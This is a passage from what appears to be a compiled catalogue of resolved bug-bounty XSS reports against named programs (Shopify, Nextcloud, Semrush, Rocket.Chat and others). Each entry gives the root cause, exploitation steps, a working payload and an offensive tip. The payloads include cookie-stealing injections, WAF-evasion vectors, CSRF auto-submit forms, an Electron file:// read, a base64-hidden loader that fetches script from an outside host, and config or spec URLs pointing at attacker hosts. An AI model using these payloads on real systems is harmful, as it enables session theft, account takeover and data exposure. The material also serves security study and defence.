- Create a select attribute; add an option value containing <script>
- Edit the attribute again -> XSS fires in dashboard
- If exposed via a public Express Form allowing new list values, submit the payload unauthenticated
<script>alert('XSS')</script>
Insight — Admin-side config values (dropdown option labels/values) are often unescaped because they're assumed trusted; check whether any public form lets end-users write to those same lists, which turns an authed-only bug into unauthenticated stored XSS.
Real-world example
Stored XSS via Banner Name delivered to delegated users
◆ Low
Specimen #3404968 · revive_adserver · none · 20 votes · resolved
Program revive_adserverSurface web
Root cause
The Banner Name field is stored unescaped and rendered in the banner list of any user granted access to that banner (and in userlog email details for the Full Name field), giving cross-account stored XSS.
Method
- Create/edit a banner with a payload in the Name field
- Grant another (victim) user access via User Access (Advertisers)
- Victim viewing Banners executes the payload
"><script>alert(1)</script>
Insight — Multi-tenant admin objects (banners, campaigns, shared entities) render creator-controlled names to other users — a reliable stored-XSS delivery path. CVE-2025-55123; also CVE-2026-44956 (Full Name → userlog email → admin view).
Real-world example
DOM XSS via unescaped backslash breaking out of JS string
◆ Low
Specimen #968690 · acronis · USD 50 · 19 votes · resolved
Program acronisSurface web
Root cause
A parameter is inlined into a JavaScript string literal; the app escapes quotes but not the backslash, so a trailing backslash escapes the intended closing quote and lets the attacker close the string/array and inject JS.
Method
- Find a param reflected inside inline JS as '...VALUE...'
- Send cfg=\\...';payload;var x=[{'
- Backslash neutralizes the app's quote-escaping -> break out -> execute
...&cfg=\\ciao'}];prompt();var%20asd=[{'foo':'bar
Insight — When a value lands in a JS string and quotes look escaped, test the backslash: a \ before the closing quote turns \' into an escaped-backslash + live quote, re-opening code context. Classic DOM-XSS escaping gap.
Real-world example
Stored XSS via OIDC discovery authorization_endpoint (UA-conditional sink)
◆ Low
Specimen #1687410 · nextcloud · awarded · 19 votes · resolved
Program nextcloudSurface webTag oauth
Root cause
A Safari-only workaround emits <meta http-equiv=refresh content='0; url=AUTH_ENDPOINT'> using the authorization_endpoint value from the configured OIDC provider's discovery document without encoding, so a malicious discovery doc injects HTML.
Method
- Configure an OIDC provider pointing at an attacker discovery endpoint
- Return authorization_endpoint containing an HTML/svg breakout
- Log in with a Safari UA; the meta-refresh reflects the unescaped value
Discovery JSON: "authorization_endpoint":"'\" http-equiv=><svg/onload=alert(document.domain)>"
Insight — OIDC/SAML/OAuth metadata fields (authorization_endpoint, issuer, endpoints) are attacker-controlled when the IdP is user-configurable; audit how they are rendered. Also: UA-conditional code paths (Safari-only) hide bugs from default testing.
Real-world example
Stored XSS via CSS style attribute (IE expression())
◆ Low
Specimen #425048 · chaturbate · awarded · 18 votes · resolved
Program chaturbateSurface web
Root cause
A profile field allowed raw CSS in a style attribute; legacy IE/Opera evaluate JS in CSS via width:expression(), turning CSS injection into script execution.
Method
- Find a field whose value lands in an inline style attribute (here wish_list bio)
- Inject an element carrying style with a CSS expression()
- View profile in IE/Opera to trigger
wish_list=bbbbbb<img src="http://poc/ooo.png" style="width:expression(open(alert(document.cookie)))">aaa
Insight — When user input reaches an HTML style attribute, test CSS-context payloads (expression(), url(javascript:), behavior:) not just script tags; legacy-browser-only but valid on old-IE user bases.
Real-world example
XSS via data:text/html;base64 in an image_url parameter
◆ Low
Specimen #227809 · instacart · awarded · 18 votes · resolved
Program instacartSurface web
Root cause
A user-controlled image_url is rendered as a clickable/openable link without scheme validation, so a data: URI HTML document executes when the image is opened in a new tab.
Method
- Find a param reflected into an <a href>/img src (image_url)
- Set it to a base64 data:text/html URI containing <script>
- Open image in new tab to execute
image_url=data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4
Insight — URL/image params that skip scheme validation are XSS sinks: try data:text/html;base64,<b64 of script> and deliver via 'open image in new tab'.
Real-world example
Reflected XSS in CMS installer Database Name field
◆ Low
Specimen #289330 · concretecms · none · 18 votes · resolved
Program concretecmsSurface web
Root cause
Setup/installation config fields reflect input into the page unescaped and unvalidated, despite backend identifier restrictions never being enforced client-side.
Method
- Start the CMS install flow
- On DB config screen set Database Name to a script payload
- Submit to reflect and execute
'<script>alert(1)</script>'
Insight — Installer/first-run and admin-config screens are under-tested reflection sinks; fields mapping to restricted backend identifiers are often reflected verbatim before validation.
Real-world example
jQuery selector/parseHTML DOM XSS via location.hash
◆ Low
Specimen #241619 · starbucks · awarded · 17 votes · resolved
Program starbucksSurface web
Root cause
Page JS passes location.hash into a jQuery function that runs it through parseHTML/buildFragment (innerHTML), so an HTML payload in the fragment executes; the code path is reached via a tabs initializer on second load.
Method
- Confirm the app is a jQuery/Demandware site that reads location.hash into $()/parseHTML
- Set #<img/src=1/onerror=alert(1)> in the URL
- On IE11, open then re-navigate to the same URL after ~5s to trigger the tabs init
https://TARGET/#<img/src="1"/onerror=alert(1)>
Insight — Classic jQuery sink: $(location.hash) or parseHTML(hash) treats a #<img onerror> fragment as HTML; trace source get hash -> sink parseHTML/innerHTML. Often needs a specific init (tab plugin) or a double visit.
Real-world example
Flash XSS via outdated FlowPlayer SWF remote config (ExternalInterface)
◆ Low
Specimen #254269 · unikrn · awarded · 17 votes · resolved
Program unikrnSurface web
Root cause
An outdated FlowPlayer SWF accepts an attacker-controlled config URL and loads a remote JSON config whose event callbacks run arbitrary JS via ExternalInterface.Call in the hosting origin.
Method
- Recon subdomains/manifests for known-vulnerable SWFs (flowplayer.commercial-3.2.15.swf)
- Host a config JSON with JS in event callbacks (onLoad/onStart)
- Load the SWF with ?config=http://attacker/test.js
http://TARGET/bin/flowplayer.commercial-3.2.15.swf?config=http://ATTACKER/test.js
// test.js
{ 'clip': { 'onStart': 'function(){alert(document.cookie);}' }, 'onLoad': 'function(){alert(document.domain);}' }
Insight — Fingerprint legacy SWFs by filename/version (FlowPlayer, etc.); many take a ?config= URL and execute callback strings through ExternalInterface, giving XSS even on out-of-scope subdomains that share cookies with the main domain.
Real-world example
Self-XSS -> clickjacking + clipboard/drag -> account takeover chain
◆ Low
Specimen #892289 · imgur · awarded · 17 votes · resolved
Program imgurSurface webChain self-XSS -> clickjacking (XFO bypass) -> clipboard/draTag account-takeover
Root cause
A DOM self-XSS on the beta upload page is made attacker-deliverable by chaining a clickjacking bypass (embed/embed reframes past X-Frame-Options), clipboard-write + drag-and-drop to inject the payload, then reads saved-password inputs to change the account password.
Method
- Frame the target via /a/IMG/embed/embed to bypass X-Frame-Options
- Use navigator.clipboard.writeText to plant the self-XSS payload
- Use frame-count to detect the victim navigated to upload?beta, socially engineer a drag+paste
- Fire XSS, open password-settings, read prefilled inputs and POST a password change
<<!<script>iframe src=javajavascriptscript:alert(document.domain)>
Insight — Self-XSS is reportable when chained: bypass X-Frame-Options via nested embed endpoints, use the Clipboard API + drag-drop to feed the payload, and monetize with saved-password autofill reads for ATO.
Real-world example
Swagger UI ?url= / ?configUrl= spec-load DOM XSS
◆ Low
Specimen #1736466 · adobe · none · 17 votes · resolved
Program adobeSurface web
Root cause
Outdated Swagger UI honors a user-supplied ?url= or ?configUrl= parameter to fetch and render an arbitrary API spec; older versions render spec content without sanitization, giving DOM XSS/HTML injection.
Method
- Find a Swagger UI page (swagger-docs.html etc.)
- Append ?url=https://attacker/malicious.yaml or ?configUrl=https://attacker/file.json
- Serve a spec whose fields contain XSS to execute in the Swagger origin
https://target/swagger-docs.html?url=https://attacker.example/evil.yaml
Insight — Any Swagger/OpenAPI UI or Redoc instance is worth testing for the ?url=/?configUrl= external-spec-load primitive; pin the version and test known DOM XSS payloads for that release.
Real-world example
Markdown renderer with sanitize disabled by default (kramed/marked)
◆ Low
Specimen #404126 · nodejs-ecosystem · none · 16 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
A static server (buttle) renders .md via kramed (a marked fork) with the default sanitize:false, so raw HTML/script in a markdown file is emitted verbatim to the browser.
Method
- Serve a directory with buttle
- Add a markdown file containing raw <script>/<img onerror>
- Open it in a browser to execute the embedded HTML/JS
<!-- inside test.md -->
<img src=x onerror=alert(document.domain)>
Insight — marked/kramed/markdown-it and friends do NOT sanitize by default - any app rendering user/untrusted markdown without an explicit sanitizer (or DOMPurify) is XSS-vulnerable. Grep for md() / marked() calls lacking sanitize/allowlist.
Real-world example
DOM XSS via unvalidated postMessage handler (remoteRedirect)
◆ Low
Specimen #576532 · shopify · awarded · 16 votes · resolved
Program shopifySurface webChain cross-origin postMessage -> handleRemoteRedirect -> jaTag webhookTag account-takeover
Root cause
An embedded-app message router (Shopify.API messages) processes a RemoteRedirect message and navigates to the attacker-supplied location without validating event.origin or the URL scheme, so location=javascript: yields DOM XSS in the admin.
Method
- Host a page that window.open()s the target admin and repeatedly postMessage a RemoteRedirect with a javascript: location
- Victim admin visits the attacker page
- handleRemoteRedirect navigates to javascript:alert(document.domain)
ctx.postMessage('{"message":"Shopify.API.remoteRedirect","data":{"location":"javascript:alert(document.domain)"}}');
Insight — postMessage routers that map a message type to a navigation/redirect are XSS-prone twice over: missing origin check AND missing scheme validation on the target. Enumerate all message types a listener dispatches on (grep the bundle for handle*/case) and test each with javascript: locations. (Same class as #422043.)
Real-world example
Stored XSS via admin campaign Name reflected on inventory page
◆ Low
Specimen #3399809 · revive_adserver · none · 16 votes · resolved
Program revive_adserverSurface web
Root cause
A stored object name (campaign Name) is rendered without output encoding on secondary admin pages (inventory-retrieve.php, campaign-edit.php), so the value set on one screen executes on another.
Method
- Create a Campaign and set Name to an img/onerror payload
- Save
- Open inventory-retrieve.php?clientid=1 where the name is echoed
- XSS fires
"><img src=x onerror=alert(document.domain)>
Insight — Object-name fields (campaign/inventory/client names) are classic stored-XSS sinks because they are echoed across many management views; test every screen that lists the object, not just the edit form.
Real-world example
WAF bypass with onauxclick (right-click) event handler
◆ Low
Specimen #738810 · eternal · 150 · 15 votes · resolved
Program eternalSurface web
Root cause
WAFs commonly blocklist popular event handlers (onclick, onmouseover, onload) but miss less-known ones. onauxclick fires on non-primary (middle/right) mouse-button clicks and slips past such filters.
Method
- Confirm attribute/tag injection but standard handlers are blocked by WAF
- Swap in onauxclick on an element the victim will right/middle-click
- Deliver; payload fires on auxiliary click
"><details onauxclick=x=prompt,x`${document.cookie}`></details>
"><marquee width=1000 onauxclick=confirm(document.cookie)>XSS</marquee>
Insight — Keep a rotation of obscure event handlers (onauxclick, onpointerrawupdate, ontoggle on details, onbeforetoggle) for WAF evasion. Tagged-template call syntax x`${document.cookie}` also avoids parentheses filters.
Real-world example
DOM XSS via insecure postMessage handler into innerHTML
◆ Low
Specimen #1031644 · lyst · 100 · 15 votes · resolved
Program lystSurface web
Root cause
A window 'message' listener parses event.data and assigns it to element.innerHTML (notes.innerHTML = data.notes) with no event.origin check and no sanitization, so any page can postMessage arbitrary HTML into the frame.
Method
- Identify a page registering window.addEventListener('message', ...) that writes data into innerHTML
- Host a page that frames the target and postMessage a JSON payload with an HTML/JS notes field
- Victim visiting the attacker page triggers the XSS
// attacker page frames target then:
frame.contentWindow.postMessage(JSON.stringify({notes:"<img src=x onerror=alert(document.domain)>"}), '*');
Insight — Grep client JS for addEventListener('message') and trace event.data to innerHTML/eval/document.write. Missing origin allowlist + HTML sink = cross-origin DOM XSS. reveal.js notes/plugin panels are a known instance.
Real-world example
jQuery $(location.hash) selector-to-HTML DOM XSS
◆ Low
Specimen #188185 · starbucks · awarded · 15 votes · resolved
Program starbucksSurface web
Root cause
Passing an attacker-controlled location.hash into jQuery's $() (pre-1.9 behavior) causes strings that look like HTML to be parsed and inserted into the DOM, executing embedded event handlers.
Method
- Find a page using a vulnerable jQuery (e.g. 1.10.1 with the migrate/selector quirk) that feeds location.hash to $()
- Craft a hash containing an attribute selector wrapping an HTML img/onerror
- Deliver the URL
http://store.starbucks.xx/...Default-Start?#a.remote[href$=<img onerror="alert(document.domain)" src=x.jpg"/>]
Insight — Old jQuery $() treats HTML-looking strings as markup. Any sink of the form $(location.hash)/$(userInput) on legacy jQuery is DOM XSS. Fingerprint jQuery version and grep for $() on location.* sources; same PoC works across all locale subdomains.
Real-world example
Redirect-param XSS via double-encoded newline in javascript: URI
◆ Low
Specimen #316319 · semrush · awarded · 15 votes · resolved
Program semrushSurface webChain XSS + open redirect on the same /redirect endpoint
Root cause
A /redirect?url= endpoint places the value into a navigable context. A filter that blocks javascript: payloads is bypassed by using javascript:// (treats rest of line as comment) plus a double-URL-encoded newline (%250A) so the decoded payload runs on the next line.
Method
- Confirm /redirect?url= reflects into a link/navigation
- Try javascript://%0aalert() — blocked
- Double-encode the newline to %250A so it survives one decode pass and bypasses the filter
https://www.semrush.com/redirect?url=javascript://%250Aalert(document.cookie)
chain: javascript://%250Aalert(document.location="https://evil")
Insight — For URL/redirect filters, javascript://COMMENT%0Apayload evades keyword checks, and double encoding (%25xx) beats single-decode filters. The same sink often doubles as an open redirect.
Real-world example
Error-message reflection to XSS with <object data=javascript:> WAF bypass
◆ Low
Specimen #752042 · semrush · awarded · 15 votes · resolved
Program semrushSurface api
Root cause
An API endpoint reflects the url parameter into a backend (MongoDB) error message that is rendered as HTML. Standard XSS payloads are blocked by a WAF, but <object data=javascript:...> is not filtered and executes.
Method
- Fuzz API params to trigger a reflected error (here a MongoDB error echoing url)
- Confirm the error body is HTML-rendered
- When common tags/handlers are WAF-blocked, use <object data=javascript:confirm(document.domain)>
<object data=javascript:confirm(document.domain)>
Insight — Verbose backend errors that reflect input are reflected-XSS sinks even on APIs. Keep uncommon vectors for WAF evasion: <object data=javascript:>, <embed src=javascript:>, <object>/<iframe srcdoc>. Malformed input that provokes DB errors is a fast way to find reflection.
Real-world example
Stored XSS in private-message body escalating low-priv user to admin
◆ Low
Specimen #768313 · concretecms · none · 15 votes · resolved
Program concretecmsSurface webChain low-priv user -> stored XSS in admin session -> privilTag privilege-escalation
Root cause
Concrete CMS private-message body (msgBody) is stored and rendered without adequate sanitization, so the lowest-privileged user can DM an administrator a payload that executes in the admin's browser when read/hovered.
Method
- As a basic user, reply to or send a private message to an admin
- Insert an HTML/JS payload in the message body
- Admin viewing/hovering the message triggers the XSS
<img src=x onmouseover=alert('XSS-Stored')>Bar
<input><img src=a onmouseover=window.location.href='https://evil.test'>
Insight — User-to-user messaging bodies are cross-privilege stored-XSS delivery channels (low-priv -> admin). onmouseover fires on read/hover without a click. Test every rich-text or message field that another (higher-priv) user will view.
Real-world example
Reflected XSS in a JSON/suggest API param echoed into HTML
◆ Low
Specimen #303522 · eternal · USD 100 · 13 votes · resolved
Program eternalSurface webTag api
Root cause
A live-suggest/autocomplete endpoint reflects a request parameter (entity_id) into the response without sanitization or HTML-encoding.
Method
- Enumerate autocomplete/suggest/search backend endpoints (e.g. liveSuggest.php).
- Fuzz each parameter with a breakout canary and observe raw reflection.
- Deliver the crafted GET link to the victim.
https://TARGET/php/liveSuggest.php?type=keyword&search_bar=1&q=ad&entity_id=confirm(1)%20%3C%20%22%22%27%22ss%22%20onerror%3E;confirm(1)%3Cvideo%20src=x%3E%3Cvideo%20src=%22&entity_type=%22;%20onerror
Insight — Backend AJAX/suggest endpoints are frequently missed by output-encoding that covers the main templates; test every parameter of every XHR endpoint, not just visible form fields.
Real-world example
Rails escape_javascript (j) fails to escape backticks and ${} template literals
◆ Low
Specimen #474262 · rails · awarded · 13 votes · resolved
Program railsSurface web
Root cause
ActionView's JavaScriptHelper j/escape_javascript escapes quotes but not backticks or ${...}, so data placed inside an ES6 template literal in a <script> block can break out or evaluate an interpolated expression.
Method
- Locate server-rendered inline JS that injects user data into a template literal via <%= j value %>.
- Inject a backtick to close the literal, or ${expression} to evaluate inside it.
<script>let a = `<%= j '`+alert`' %>`</script>
<script>let a = `<%= j '${alert()}' %>`</script>
Insight — Framework JS-escapers predate ES6 template literals. Any `...${}...` context is a distinct escaping context: quote-escaping is insufficient, you must also neutralize ` and $. Audit for user data inside backtick strings in server-rendered JS.
Real-world example
javascript: URI in user-controlled link/redirect fields (client-validation bypass)
◆ Low
Specimen #1023787 · nextcloud · awarded · 13 votes · resolved
Program nextcloudSurface webTag oauthTag open-redirect
Root cause
An app lets users set a link/redirect target and only validates the scheme client-side (or not at all); a javascript: URI stored as an href executes on click. Intercepting the save request bypasses UI validation.
Method
- Create a link via the UI (markdown Add Link, poll redirect, OAuth website URL, etc.).
- Intercept the save request and change href/URL to javascript:alert(1).
- Reload and click the rendered link; payload fires (IE/legacy browsers fire even when CSP blocks inline script).
javascript:alert(document.cookie)
javascript:alert(1)
Insight — Client-side scheme validation is not a control. For any 'set a link/redirect/website URL' feature, tamper the request to inject javascript:/data: and check whether the rendered anchor keeps the dangerous scheme. IE/Edge often still execute javascript: hrefs despite CSP.
Real-world example
Stored XSS via escaping bypass on a file-size/feature threshold edge case (Phabricator Diffusion)
◆ Low
Specimen #148865 · phabricator · awarded · 12 votes · resolved
Program phabricatorSurface web
Root cause
Phabricator Diffusion auto-disables syntax highlighting for files > 256kB, but the fallback plaintext path still parses/renders the file content as HTML instead of escaping it, so HTML/JS in a large source file executes when viewed.
Method
- Commit a source file > 256kB containing HTML with <script>/alert() into a repo.
- View it in Diffusion with syntax highlighting on (auto-disabled by size).
- The plaintext-rendered content is parsed as HTML and the payload fires.
(a >256kB source file whose contents include:)
<script>alert(document.domain)</script>
Insight — Escaping/sanitization often differs across code paths gated by size limits, feature flags, or content-type fallbacks. Push inputs past thresholds (very large files, disabled features, alternate render modes) to reach a code path that forgot to encode.
Real-world example
DOM XSS in third-party Genericons example.html (hash sink)
◆ Low
Specimen #196624 · slack · awarded · 12 votes · resolved
Program slackSurface web
Root cause
The bundled Genericons/Twenty Fifteen example.html reads location.hash and writes it to the DOM without sanitization, a well-known third-party file DOM XSS shipped with WordPress themes.
Method
- Locate the theme's genericons/example.html on the target
- Append a hash payload after #
- Page reflects location.hash into DOM and executes
/wp-content/themes/twentyfifteen/genericons/example.html#1<img/ src=1 onerror=alert(document.cookie)>
Insight — Enumerate known-vulnerable static files shipped by frameworks/themes (genericons example.html, swagger-ui, various vendor demos). Grep for path patterns; the DOM-sink bug is CVE-grade and reusable across every site bundling that asset.
Real-world example
POST-based reflected XSS via CKEditor callback param, delivered by CSRF
◆ Low
Specimen #375352 · semrush · awarded · 12 votes · resolved
Program semrushSurface webChain CSRF (auto-submit) -> reflected XSSTag file-upload
Root cause
The CKEditor image-upload endpoint reflects CKEditorFuncNum into an inline <script> in its response without escaping; because it only triggers on POST, delivery is via a CSRF auto-submit form.
Method
- Build an HTML form POSTing to the upload endpoint with a script-breaking CKEditorFuncNum
- Victim opens the page and the form auto-submits
- Reflected response executes the injected script
action="https://www.semrush.com/my-posts/api/image/upload/?CKEditor=text&CKEditorFuncNum=x</script><script>alert(document.domain)</script>&langCode=en" method="POST"
Insight — Reflected XSS is not blocked by requiring POST - wrap it in a cross-site auto-submitting form. CKEditor's CKEditorFuncNum/CKEditor params are recurring reflected sinks in the upload/error response.
Real-world example
Reflected XSS in OAuth callback JS-context (status param)
◆ Low
Specimen #786238 · semrush · awarded · 12 votes · resolved
Program semrushSurface webTag oauth
Root cause
An external-source OAuth callback reflects the status query param unescaped inside window.opener.connectExternalSourceCallback({...}) in an inline <script>; breaking out of the JS string + </script> yields XSS.
Method
- Request the callback URL with a status value that closes the string and <script>
- Reflected inline script executes the payload
?status=</xss>xss<script>alert()//
// rendered: window.opener.connectExternalSourceCallback({"status":"</xss>xss<script>alert()//","source":"googleAccountsGMB"});
Insight — OAuth/SSO callback pages routinely reflect status/code/error params into an inline postMessage/opener callback script - a JS-string sink. Probe callback endpoints with </script> and JS-string breakouts.
Real-world example
Blind stored XSS via livechat, autofocus+onfocus=eval(atob())
◆ Low
Specimen #1091118 · rocket_chat · none · 12 votes · resolved
Program rocket_chatSurface webChain Blind stored XSS -> staff/agent session compromiseTag account-takeover
Root cause
Rocket.Chat livechat renders a visitor-supplied field (name/message) unescaped in the agent/receiver client; a self-triggering autofocus/onfocus handler runs base64-decoded JS without needing a <script> tag. CVE-2022-21830.
Method
- Submit livechat with an injected input that has autofocus and onfocus=eval(atob(this.id))
- id holds base64 of a script-loader
- When the agent's client renders it, onfocus auto-fires and loads the external JS (XSS Hunter style)
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYXNzZXRjeWJlci54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
Insight — For blind/no-script-tag contexts use autofocus+onfocus (or onanimationstart) to self-trigger without user interaction, and eval(atob(id)) to hide the real payload in a base64 attribute. Ideal for support/livechat/ticket fields read by staff.
Real-world example
Reflected XSS inside href; space-free script//src=data:, payload
◆ Low
Specimen #389592 · upserve · $250 · 11 votes · resolved
Program upserveSurface web
Root cause
Unauthenticated query-string value reflected into href attributes without encoding, letting the attacker close the attribute/tag and inject a script element.
Method
- Put the payload in a reflected GET parameter (here the sort/query string)
- Break out of the href with "> and inject a self-closing-free script tag
- Use // instead of a space after <script and a data: URI so no whitespace or external host is needed
https://theacademy.upserve.com/roles/?%22%3E%3Cscript//src=data:,alert(location)//
Insight — When spaces are stripped or problematic, <script//src=...> works because / is a valid separator; data:, sources need no external host and : smuggles the colon through HTML-context filters.
Real-world example
POST-based reflected XSS in WordPress Newspaper theme, delivered via CSRF
◆ Low
Specimen #335481 · eternal · $100 · 11 votes · resolved
Program eternalSurface webChain CSRF form -> POST reflected XSS
Root cause
The tagDiv Newspaper theme's admin-ajax action td_ajax_loop reflects the POST parameter loopState[moduleId] unencoded; because it is POST-only it is delivered with an auto-submitting CSRF form.
Method
- Target /wp-admin/admin-ajax.php?td_theme_name=Newspaper with action=td_ajax_loop
- Set loopState[moduleId] to an SVG/script payload
- Host an HTML page with a hidden form that auto-submits the POST to trigger the reflection
<form action="https://TARGET/blog/wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=8.2" method="POST">
<input type=hidden name=action value=td_ajax_loop>
<input type=hidden name="loopState[moduleId]" value="<svg><script>prompt(document.domain)</script>">
</form><script>document.forms[0].submit()</script>
Insight — POST-only reflected XSS is still exploitable: wrap it in a self-submitting cross-site form. Fingerprint WordPress themes (Newspaper/tagDiv) and probe their known admin-ajax actions for reflected params.
Real-world example
Event-handler bypass of script-stripping -> Electron file:// arbitrary file read
◆ Low
Specimen #724153 · rocket_chat · none · 11 votes · resolved
Program rocket_chatSurface desktopChain stored HTML injection -> event-handler XSS -> Electron
Root cause
The admin-customizable Home Body strips <script> tags but not event-handler attributes; in the Electron desktop client the resulting JS can load a file:// iframe and read its contents cross-origin, giving local file read (and RCE potential).
Method
- As admin, set Administration > Layout > Content > Home Body to an element with an onerror/onload handler (script tags are stripped, handlers are not)
- Confirm JS runs on /home
- Escalate on the desktop client with an iframe pointing at file:// and read innerHTML via onload
<img src=0 onerror="alert(0)"/>
<iframe src="file://c:/windows/system32/drivers/etc/hosts" onload="alert(iframe.contentDocument.body.innerHTML)" id="iframe"></iframe>
Insight — Sanitizers that only remove <script> are trivially bypassed with on* handlers. In Electron/desktop webview contexts, HTML injection escalates hard: file:// iframes read local files and nodeIntegration can reach RCE. Always test injected markup inside the packaged desktop client, not just the browser.
Real-world example
DOM XSS via WYSIWYG code-view + iframe srcdoc (Froala)
◆ Low
Specimen #938683 · lemlist · none · 10 votes · resolved
Program lemlistSurface webTag account-takeover
Root cause
The Froala rich-text editor's code (HTML source) view sanitizes on switch-back, but an <iframe srcdoc=...> smuggles an encoded event handler that the sanitizer misses, executing when the editor re-renders (CVE-2019-19935).
Method
- Open the campaign/email editor and switch to code/HTML view
- Insert the iframe srcdoc payload
- Switch back to the visual editor; the iframe's srcdoc content renders and fires
<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>
Insight — WYSIWYG editors (Froala, CKEditor, TinyMCE, Summernote) are recurring XSS surfaces — attack the code/source view and use iframe srcdoc, which re-parses HTML in a nested context that outer sanitizers frequently overlook. Fingerprint the editor and check its CVE history.
Real-world example
Stored HTML injection via saved-simulation name
◆ Low
Specimen #226783 · ui · awarded · 9 votes · resolved
Program uiSurface web
Root cause
A user-named saved object (simulation name) is rendered back into the DOM without encoding, so HTML markup in the name is parsed when the object is reopened.
Method
- Save an object using an HTML payload as its name
- Reopen it via the list/Open feature
- Markup executes in the page
"><marquee><h1>HTMLINJECTIONHERE</h1></marquee>
Insight — Names/labels of saved user objects (bookmarks, simulations, dashboards) are frequent stored-injection sinks because devs sanitize the 'content' but trust the 'title'. Escalate marquee/h1 proof to full <script>/<img onerror> XSS.
Real-world example
Markdown two-pass autolink breaks out of anchor attribute context
◆ Low
Specimen #46312 · security · none · 7 votes · resolved
Program securitySurface webTag webhook
Root cause
@mention and #ref autolinks are injected into the HTML after markdown is rendered; when such a token sits inside an existing link's title/href attribute, the second pass inserts a nested <a href=...> inside the attribute, corrupting the tag and creating unexpected attributes.
Method
- Place an autolink trigger (@name or #123) inside the title/URL attribute of a markdown link.
- The post-processing pass wraps it in an anchor tag inside the attribute, breaking the original tag structure.
- Inspect the DOM for the malformed/injected attributes that result.
[text](http://danlec.com " @danlec ")
[text](http://danlec.com " #46072 ")
Insight — Any renderer that does markdown-then-regex-autolink (mentions, issue refs, emoji) is a candidate for attribute-context breakout. Test autolink triggers inside link titles/URLs and other attribute positions; multi-pass rendering ordering bugs can yield stored XSS even when each pass looks safe alone.
Real-world example
HTML file upload served inline + IE11 CSP-bypass gadget
◆ Low
Specimen #231524 · nextcloud · none · 6 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
A logo/image upload endpoint does not validate that the file is an image; an uploaded HTML file is served at a fixed same-origin URL and rendered, giving stored HTML/XSS. Modern browsers block script via CSP, but IE11 executes it.
Method
- Upload an .html file where only images are expected (logo/theming upload)
- Browse the fixed serving URL (e.g. /apps/theming/logo)
- Deliver that same-origin URL to a victim; in IE11 the JS gadget runs
<svg/onload=alert('SVG')>
<img/id="alert('image XSS')"/alt="/"src="/"onerror=eval(id)>
Insight — Two lessons: (1) upload endpoints must validate content, not just trust the field name; a served same-origin HTML file is XSS. (2) When CSP blocks inline handlers in modern browsers, legacy-browser gadgets like <img onerror=eval(id)> that pull code from another attribute can still slip through - note CSP as mitigation, not a fix.
Real-world example
Reflected XSS via error-message reflection in an onboarding email field
◆ Low
Specimen #2439 · relateiq · none · 6 votes · resolved
Program relateiqSurface web
Root cause
During a multi-step signup/email-connect flow, an invalid email value is reflected back inside an input's value attribute in the error response without encoding, enabling attribute-breakout XSS.
Method
- Enter the connect-email / signup flow to reach the validation step
- Submit an email containing an attribute-breakout payload
- The error re-renders the bad value unescaped and fires
dada@c.com"><img src=x onerror=alert(document.domain)>
Insight — Server-side validation error pages often echo the rejected input unescaped - test email/username/coupon fields with '"> breakouts. Deep multi-step flows hide these sinks; walk the whole funnel.
Real-world example
Second-order stored XSS via imported Facebook album name
◆ Low
Specimen #6002 · slack · awarded · 6 votes · resolved
Program slackSurface web
Root cause
When setting a Slack profile photo from Facebook, an attacker-named Facebook album is imported and its name is rendered unsanitized (in the resulting error/UI), so a payload chosen as the album title crosses from Facebook into Slack.
Method
- Create a Facebook album named with an XSS attribute-breakout payload
- In Slack account/photo, choose 'Change photo using Facebook'
- The album name is pulled in and rendered unescaped
"><img src=x onerror=alert(document.cookie)> (used as the Facebook album name)
Insight — Data imported from linked third-party accounts (Facebook, Google, GitHub names/albums/repos) is attacker-controlled and often trusted. Set XSS payloads as your external display names and connect the account to hit second-order sinks.
Real-world example
Native desktop client renders server-controlled user fields as HTML
◆ Low
Specimen #1707977 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface desktop
Root cause
The desktop client interpolates server-provided, attacker-controllable strings (Full Name, Status Message, Talk group-conversation name) into UI widgets without neutralizing HTML, so a Qt/WebView label treats them as markup (stored HTML injection / XSS in the native client).
Method
- As any server user, set your Full Name / Status Message (or a Talk group name) to an HTML payload.
- A victim running the desktop client that displays that field (main dialog, call-notification popup) renders the HTML.
- img/markup executes/loads in the client context.
Full Name / Status / group name: <img src="https://ATTACKER/beacon">
Insight — Thick/desktop clients (Qt, Electron, WebView) often trust server data and render user profile fields as HTML. Test every server-controlled string a client displays (display name, status, room/group name, notifications) for HTML/JS injection. Same class hit multiple fields (#1711847 call-notification group name).
Real-world example
HTML injection in desktop client via Qt rich-text label
◆ Low
Specimen #206877 · owncloud · none · 5 votes · resolved
Program owncloudSurface desktop
Root cause
Qt widgets (QLabel::setText and similar) render an HTML subset by default; user-controlled data (sync folder names, aliases) is concatenated into an <a href> string and passed to setText without QString::toHtmlEscaped(), so injected markup renders.
Method
- As an attacker on the instance, share a folder whose NAME contains HTML, exceeding the 'ask before sync' size limit (default 500MB) to force the selective-sync notification path
- Victim's desktop client builds msg via QString("<a href=\"%1?folder=%2\">%1</a>").arg(folderName) and calls ui->selectiveSyncNotification->setText(info+msg)
- The unescaped folder name renders as HTML in the client UI (spoofed 'relogin' phishing content)
"><\/a><p><center><h1><strong>Important!<\/strong> Please go to nextcloud.com and relogin!<\/center><\/h1><\/p><!--
Insight — Native desktop apps are an XSS/HTML-injection surface too: any Qt setText/QLabel/QTextBrowser, .NET RichText, or Electron innerHTML sink fed server/other-user data renders HTML. Look for QString concatenation into setText without toHtmlEscaped(). Fix is per-value escaping, not blocking the whole string.
Real-world example
DOM XSS via postMessage handler with no origin check
◆ Low
Specimen #894518 · shopify · none · 5 votes · resolved
Program shopifySurface web
Root cause
A message event listener (handleMessage) accepts data from any origin (no event.origin check) and stores attacker-controlled data.ast.code into React state, which is then rendered/executed as component code.
Method
- Frame the victim page (polaris.shopify.com/demo) in an attacker iframe
- After load, postMessage a crafted object {ast:{code: <JSX/HTML with onerror>}} to the iframe with '*' target
- The unchecked handler sets it as state and it renders, executing the payload
<iframe id=ifrm src="https://polaris.shopify.com/demo"></iframe>
<script>
ifrm.onload=function(){
